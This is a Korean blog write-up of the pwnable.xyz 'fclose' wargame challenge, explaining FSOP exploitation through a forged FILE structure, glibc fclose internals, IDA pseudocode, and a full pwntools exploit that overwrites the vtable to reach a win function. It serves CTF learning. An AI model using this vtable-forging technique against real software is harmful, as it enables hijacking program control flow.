블로그 이전했습니다. https://jeongzero.oopy.io/
[pwnable.xyz] fclose
본문 바로가기
워게임/pwnable.xyz

[pwnable.xyz] fclose

728x90

 

1. 문제


1) mitigation 확인 

NX가 걸려있다.  

 

 

2) 문제 확인 

바로 입력을 받고 에러가 뜬다. 엥? 코드를 살펴보자 

 

 

3) 코드흐름 파악 

메인은 이게 끝이다. read함수로 입력을 받는데 bss 영역에 있는 input에다가 넣는다. 

 

input을 확인해보면, FILE 포인터인것을 알수 있다. 그렇다는 것은, 우리가 read함수를 통해 입력한 값이 FILE 포인터에 그대로 들어간다는 뜻이다.  

 

그리고 fclose함수가 바로 호출된다. 에러가 난 이유가 이때문인 것같다. FILE 포인터를 선언만 하고 정상적인경우 fopen 같은 함수로 fp를 열어, fp에 _IO_FILE 구조체 형태의 초기화 값들이 들어가 있어야 한다. 

 

하지만 이같은 경우 우리가 입력한 값이 들어가므로 에러가 나는 것같다. 

 

 

2. 접근방법


사실 이 문제는 house of oragne 문제를 풀고 FSOP 관련된 문제를 통해 공부한 내용을 복습하고자 풀었던 문제이다. 현재 문제에서 fp에 직접 접근할수 있기 때문에, fclose 함수 내부 코드 중에서 동작되는 로직을 이용하여 FSOP를 진행하면 될 것이다. 

 

따라서 fclose 함수 코드를 먼저 분석한 내용이다.  

fclose 분석
1. 개요 전에 풀었던 house of orange 기법에서 사용되었던 File 구조체를 이용한 기법을 FSOP (File Stream Oriented Programming)라고 한다. house of orange도 FSOP 기법 중 하나로, FILE 구조체의 내부 구조를..
https://wogh8732.tistory.com/207

 

먼저 해당 문제를 풀기 위해 접근할 수 있는 로직은 다음과 같이 2개가 존재한다. 

 

  • _IO_new_fclose 함수 코드 일부
...
/* First unlink the stream.  */
  if (fp->_flags & _IO_IS_FILEBUF)
    _IO_un_link ((struct _IO_FILE_plus *) fp);
  _IO_acquire_lock (fp);
  if (fp->_flags & _IO_IS_FILEBUF)
    status = _IO_file_close_it (fp);
  else
    status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
  _IO_release_lock (fp);
  _IO_FINISH (fp);
...

if (fp->_flags & _IO_IS_FILEBUF) 이 조건을 통과하지 못한다면, _IO_un_link 함수와, _IO_file_close_it 함수 둘다 호출되지 않는다. 

 

분석 결과, 해당 조건문을 만족시키 않으면, 위 두개의 함수가 호출 안돼고 바로 밑으로 넘어가 _IO_release_lock 함수와, _IO_FINISH 함수를 호출하는데, _IO_FINISH 함수는 내부적으로 vtable에서 +0x10 에 위치한 _IO_new_file_finish 함수를 호출한다. 따라서 fp의 vtable을 변조하여 +0x10 위치에 win함수를 밖으면 끝난다. 

 

두번쨰로 만약 조건이 만족되어, _IO_un_link 함수가 호출되고, _IO_file_close_it 함수가 호출되게 되면, _IO_file_close_it 함수에 내부에서는 _IO_SYSCLOSE 함수를 호출하는데, 이는 vtable기준 +0x88 위치에 존재하는 함수를 호출하게 되므로 이 역시 vtable을 변조하여 해당 위치에 win 함수를 밖으면 된다. 

 

 

 

3. 풀이


__int64 __fastcall fclose(_QWORD *a1, __int64 _RSI)
{
  int v2; // eax
  __int64 v3; // rdx
  unsigned int v4; // ebp
  __int64 v5; // r12
  unsigned __int64 v9; // r8
  bool v10; // zf
  __int64 v11; // rdx

  v2 = *(_DWORD *)a1;
  if ( v2 & 0x2000 )
  {
    IO_un_link();
    v2 = *(_DWORD *)a1;
    if ( (v2 & 0x8000) != 0 )
      goto LABEL_29;
  }
  else
  {
    LODWORD(v3) = *(_DWORD *)a1 & 0x8000;
    if ( v2 & 0x8000 )
      goto LABEL_3;
  }
  _RDX = a1[17];
  v9 = __readfsqword(0x10u);
  if ( v9 != *(_QWORD *)(_RDX + 8) )
  {
    _RSI = 1LL;
    v10 = dword_3C9740 == 0;
    if ( dword_3C9740 )
    {
      if ( !_InterlockedCompareExchange((volatile signed __int32 *)_RDX, 1, 0) )
        goto LABEL_27;
    }
    else
    {
      __asm { cmpxchg [rdx], esi }
      if ( v10 )
      {
LABEL_27:
        _RDX = a1[17];
        v2 = *(_DWORD *)a1;
        *(_QWORD *)(_RDX + 8) = v9;
        goto LABEL_28;
      }
    }
    sub_115080(_RDX, 1LL);
    goto LABEL_27;
  }
LABEL_28:
  ++*(_DWORD *)(_RDX + 4);
LABEL_29:
  v3 = (unsigned __int16)v2 & 0x8000;
  if ( !(v2 & 0x2000) )
  {
LABEL_3:
    v4 = v2 << 26 >> 31;
    if ( (_DWORD)v3 )
      goto LABEL_4;
    goto LABEL_31;
  }
  v4 = IO_file_close_it(a1, _RSI, v3);
 ...
}

위 수도코드는, _IO_new_fclose 함수를 아이다로 확인한 로직이다. 실제 코드에서 직관적으로 바로 보이는 것과는 다르게, 왔다리 갔다리 한다. flags 부분에 0xffffffff 값을 주게 되면, 초록색 부분이, 조건에 부합하여 실행되는 부분이다.  

 

IO_un_link() 함수를 호출한뒤,  

if ( (v2 & 0x8000) != 0 )
      goto LABEL_29;

해당 로직도 만족하게 되어 바로 LABEL_29로 간뒤, IO_file_close_it 를 호출한다. 

 

반대로 노락색 부분은 조건에 만족하지 못하게 되는 경우 실행되는 로직인데, 이는 멀티 쓰레딩 환경에서의 레이스컨디션을 막기 위해 롹을 거는 로직이다. 이때 _IO_FILE 구조체의 _lock 멤버 변수를 체크하게 되는데, 이는 fp + 0x88 의 위치에 존재한다. 

 

따라서 해당 위치에 write 가능한 영역의 주소가 들어가야한다고 한다. 

 

정리를 해보자. 

  1. 첫번째 익스 방법을 위한 조건
    • fp→_flags 를 0xffffffff 값으로 주기
    • 그렇게 되면 IO_un_link() 함수가 호출되고 위 조건까지 만족하여 바로 IO_file_close_it 를 호출 가능하다
    • 이떄의 *vtable + 0x88 값을 이용하면 된다 (vtable→__close)

     

  1. 두번째 익스 방법을 위한 조건
    • fp→flags에 0을 줘서 조건문 불만족 시키기
    • acqurie 머시기가 호출되는데, 그건 위 아이다 코드의 노란색 부분임. fd+0x88에 위치해 있는 _lock 변수를 체크하는로직이 있는데 여기에 write 가능한 영역의 주소가 들어가 있어야함. 따라서 해당 영역에 쓰기 가능한 주소 아무거나 박아야함
    • 그다음 _IO_FINISH 함수 내부에서 호출되는 걸 이용하면 된다 (vtable→__IO_file_finish)

 

첫번째가 더 쉬우니 첫번쨰를 기준으로 코드를 짯다. 

최종 익스코드는 다음과 같다. 

from pwn import *
context(arch="amd64",os="linux",log_level="DEBUG")

#p=remote("svc.pwnable.xyz",30018)
p=process("./challenge")
gdb.attach(p,'code\nb *0x836+$code\n')


payload=p32(0xffffffff)
payload=payload.ljust(0xd8,'\x00')
payload+=p64(0x601340)
vtable=p64(0)*0x11 # vtable -> __close
vtable+=p64(0x4007EC)

payload=payload+vtable

p.recvuntil("> ")
p.sendline(payload)

p.interactive()

 

 

4. 몰랐던 개념


  • fclose 함수 내부 로직
728x90

'워게임 > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] message  (0) 2020.05.05
[pwnable.xyz] UAF  (0) 2020.05.04
[pwnable.xyz] TLSv00  (0) 2020.04.11
[pwnable.xyz] SUS  (0) 2020.04.11
[pwnable.xyz] strcat  (0) 2020.04.11